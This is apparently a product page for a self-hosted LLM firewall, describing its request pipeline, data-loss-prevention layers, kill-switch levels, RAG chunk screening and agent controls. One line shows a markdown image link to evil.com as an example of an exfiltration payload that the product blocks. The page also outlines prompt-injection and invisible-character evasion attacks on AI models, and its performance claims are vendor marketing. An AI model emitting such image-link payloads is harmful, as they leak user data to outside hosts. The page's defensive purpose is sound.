Skip to content
§00 / Platform · Self-hosted LLM Firewall

How control works over every AI request.

One fixed pipeline: kill-switch, access, budget, DLP inbound and outbound, audit. Below we break down what each stage does and what each DLP layer catches. Every claim comes with a technical proof: latency, method, verdict.

§01 / Request pipeline

One path. One order. The same route every request.

11 stages run on a fixed rail: none is skipped, none jumps the queue. DLP fires twice, as gates inbound and outbound. The full pre-call pipeline adds milliseconds to a request and scales linearly across replicas, without slowing the development flow.

0 hidden hops between client and model any stage is overridden by kill-switch / policy-as-code / SIEM
§02 / DLP engine

Eight layers of inspection. Plus multimodal, run concurrently.

Layers 0–7 and multimodal add up to 23 scanner modules on disk. Active stages run in parallel (asyncio.gather), so a request clears them in one shared pass, not the sum of the layers. The label color encodes the layer in the crystal dispersion palette.

mechanisms on top of the layers
STREAMING

Secrets are masked right in the streaming response chunks, before they ever reach the client.

chunk: "sk-live-4f…" → [SECRET]
UNICODE

NFKC normalization and zero-width stripping run before the scan: evasion with invisible characters fails.

sk-live → sk-live → scan
ANTI-ECHOLEAK

The model never becomes an exfil channel: echoing a placeholder back in the response is intercepted.

![img](evil.com/…) → blocked
POLICIES

Every verdict turns into an action. Graded-trust never downgrades injection to masking.

BLOCK · MASK · WARN · LOG
FAIL-CLOSED

A DLP failure closes a cloud request; for local ones it opens: the data is already in the perimeter.

cloud: closed · local: open
RULES

A built-in set plus marketplace packs. DLP profiles are configured per tenant.

built-in + marketplace
§03 / Approaches compared

No single method catches everything. So we do not pick one.

Every detection method has its strength and its blind spot: two qualitative profiles show where a method is fast and where it is deep. We show both, instead of selling one as a silver bullet.

the whole pipeline · milliseconds per request · asyncio.gather, not the sum of the layers

Need maximal provider breadth without DLP: take LiteLLM, it can stay the transport behind Prizma. More in the FAQ

§04 / Kill-switch L0–L4

Five levels of stop. From all traffic to a single agent.

The scope is nested: the outer level kills all traffic, each inner one narrows the zone. You can cut everything at once or pinpoint a single model, a single user, a single agent, without touching the rest.

stops instantly through Redis · source of truth in PostgreSQL · full HMAC-chained audit trail

§05 / RAG firewall

Every chunk is data. Not a command for the model.

A retrieved fragment is the most common vector for indirect injection. The firewall inspects every chunk on its own and lets only the vetted into context. A poisoned chunk is demoted and never reaches the model.

§06 / Agents and supply-chain

An autonomous agent under control. As is the model it runs.

An agent acts on its own, so every step is traced, arguments are scanned, and a sensitive action waits on a human. The model itself arrives as a file that is checked before loading, without unpacking.

Ready?

All your AI traffic under your control

A self-hosted LLM Firewall inside your perimeter. One base_url line, and no prompt leaves directly.

sales@hackadvisor.io NDA on request · reply within one business day